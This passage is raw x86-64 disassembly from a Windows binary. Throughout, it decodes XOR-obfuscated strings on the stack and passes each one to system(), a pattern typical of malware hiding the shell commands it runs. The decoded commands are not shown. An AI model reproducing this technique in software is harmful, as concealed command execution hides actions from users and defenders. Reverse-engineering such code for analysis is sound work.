mov r8d, dword [rbp - 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x140017f10
cmp ecx, 0x25
jge 0x140018041
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x25
jl 0x140018010
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x140029170]
mov ecx, ebx
mov dword [rsp + 0x60], eax
movups xmm0, xmmword [0x140029150]
movups xmm1, xmmword [0x140029160]
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
cmp esi, 2
jl 0x14001817a
movdqa xmmword [rbp - 0x60], xmm13
lea rdx, [rsp + 0x44]
mov r8d, dword [rbp - 0x60]
nop dword [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x140018090
cmp ecx, 0x24
jge 0x1400181c1
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x24
jl 0x140018190
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x14002b11d], bl
movups xmm0, xmmword [0x14002b100]
mov eax, dword [0x14002b118]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14002b11c]
movups xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x5c], ax
movsd xmm0, qword [0x14002b110]
movsd qword [rsp + 0x50], xmm0
je 0x140018361
mov ecx, ebx
cmp esi, 2
jl 0x14001831a
movdqa xmmword [rbp - 0x60], xmm13
lea rdx, [rsp + 0x44]
mov r8d, dword [rbp - 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x140018230
cmp ecx, 0x1e
jge 0x140018361
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x1e
jl 0x140018330
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x14002b663], bl
movups xmm0, xmmword [0x14002b648]
mov eax, dword [0x14002b660]
mov dword [rsp + 0x58], eax
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x14002b658]
movsd qword [rsp + 0x50], xmm0
je 0x1400184f1
mov ecx, ebx
cmp esi, 2
jl 0x1400184aa
movdqa xmmword [rbp - 0x60], xmm13
lea rdx, [rsp + 0x44]
mov r8d, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x1400183c0
cmp ecx, 0x1c
jge 0x1400184f1
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x1c
jl 0x1400184c0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x14002b663], bl
movups xmm0, xmmword [0x14002b648]
mov eax, dword [0x14002b660]
mov dword [rsp + 0x58], eax
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x14002b658]
movsd qword [rsp + 0x50], xmm0
je 0x140018681
mov ecx, ebx
cmp esi, 2
jl 0x14001863a
movdqa xmmword [rbp - 0x60], xmm13
lea rdx, [rsp + 0x44]
mov r8d, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x140018550
cmp ecx, 0x1c
jge 0x140018681
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x1c
jl 0x140018650
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x14002a788]
mov ecx, ebx
mov dword [rsp + 0x58], eax
movzx eax, byte [0x14002a78c]
mov byte [rsp + 0x5c], al
movups xmm0, xmmword [0x14002a770]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x14002a780]
movsd qword [rsp + 0x50], xmm0
cmp esi, 2
jl 0x1400187ca
movdqa xmmword [rbp - 0x60], xmm13
lea rdx, [rsp + 0x44]
mov r8d, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x1400186e0
cmp ecx, 0x1d
jge 0x140018811
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x1d
jl 0x1400187e0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx eax, byte [0x14002b0d4]
mov ecx, ebx
mov edx, dword [0x14002b0d0]
movdqa xmm14, xmmword [0x14002c5c0]
mov dword [rsp + 0x50], edx
mov byte [rsp + 0x54], al
movups xmm2, xmmword [0x14002b0c0]
movups xmmword [rsp + 0x40], xmm2
cmp esi, 2
jl 0x140018a54
movd eax, xmm2
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm11
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
psubb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x44]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movd dword [rsp + 0x44], xmm2
movdqa xmm2, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x48]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movd dword [rsp + 0x48], xmm2
movdqa xmm2, xmm12
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movd xmm1, dword [rsp + 0x4c]
psubd xmm2, xmm0
andps xmm2, xmm9
movd xmm0, ecx
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
movd dword [rsp + 0x4c], xmm2
movdqa xmm1, xmm14
pmuldq xmm0, xmm6
movdqa xmm2, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm9
mov ecx, 0x14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x50], xmm2
mov eax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x15
jl 0x140018a60
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x14002aac5], bl
movups xmm2, xmmword [0x14002aab0]
movzx eax, word [0x14002aac4]
mov edx, dword [0x14002aac0]
movups xmmword [rsp + 0x40], xmm2
mov dword [rsp + 0x50], edx
mov word [rsp + 0x54], ax
je 0x140018d21
mov ecx, ebx
cmp esi, 2
jl 0x140018cd8
movd eax, xmm2
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm11
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
psubb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x44]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movd dword [rsp + 0x44], xmm2
movdqa xmm2, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x48]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movd dword [rsp + 0x48], xmm2
movdqa xmm2, xmm12
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movd xmm1, dword [rsp + 0x4c]
psubd xmm2, xmm0
andps xmm2, xmm9
movd xmm0, ecx
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
movd dword [rsp + 0x4c], xmm2
movdqa xmm1, xmm14
pmuldq xmm0, xmm6
movdqa xmm2, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm9
mov ecx, 0x14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x50], xmm2
mov eax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x16
jl 0x140018cf0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x14002a788]
mov ecx, ebx
mov dword [rsp + 0x58], eax
movzx eax, byte [0x14002a78c]
mov byte [rsp + 0x5c], al
movups xmm0, xmmword [0x14002a770]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x14002a780]
movsd qword [rsp + 0x50], xmm0
cmp esi, 2
jl 0x140018e6a
movdqa xmmword [rbp - 0x60], xmm13
lea rdx, [rsp + 0x44]
mov r8d, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x140018d80
cmp ecx, 0x1d
jge 0x140018eb1
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x1d
jl 0x140018e80
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14002a830]
mov ecx, ebx
movups xmm1, xmmword [0x14002a840]
mov eax, dword [0x14002a898]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x14002a850]
movups xmmword [rbp], xmm0
movups xmm0, xmmword [0x14002a870]
movups xmmword [rbp - 0x10], xmm1
movups xmm1, xmmword [0x14002a860]
movups xmmword [rbp + 0x20], xmm0
movsd xmm0, qword [0x14002a890]
movups xmmword [rbp + 0x10], xmm1
movups xmm1, xmmword [0x14002a880]
mov dword [rbp + 0x48], eax
movzx eax, word [0x14002a89c]
movsd qword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x30], xmm1
mov word [rbp + 0x4c], ax
cmp esi, 2
jl 0x14001902a
movdqa xmmword [rbp - 0x60], xmm13
lea rdx, [rbp - 0x1c]
mov r8d, dword [rbp - 0x60]
nop dword [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x68
jl 0x140018f40
cmp ecx, 0x6e
jge 0x140019071
movsxd rax, ecx
lea r8, [rbp - 0x20]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 1]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, cl
add dl, dl
inc ecx
sub al, dl
sub al, 0x75
xor byte [r8 - 1], al
cmp ecx, 0x6e
jl 0x140019040
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14002bc30]
mov ecx, ebx
movups xmm1, xmmword [0x14002bc40]
mov eax, dword [0x14002bcc0]
movdqa xmm9, xmmword [0x14002c5f0]
movaps xmm13, xmmword [rsp + 0x310]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x14002bc50]
movups xmmword [rbp], xmm0
movups xmm0, xmmword [0x14002bc70]
movups xmmword [rbp - 0x10], xmm1
movups xmm1, xmmword [0x14002bc60]
movups xmmword [rbp + 0x20], xmm0
movups xmm0, xmmword [0x14002bc90]
movups xmmword [rbp + 0x10], xmm1
movups xmm1, xmmword [0x14002bc80]
movups xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [0x14002bcb0]
movups xmmword [rbp + 0x30], xmm1
movups xmm1, xmmword [0x14002bca0]
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp - 0x38], rbx
movups xmmword [rbp + 0x50], xmm1
mov dword [rbp + 0x70], eax
cmp esi, 2
jl 0x140019200
lea rdx, [rbp - 0x20]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
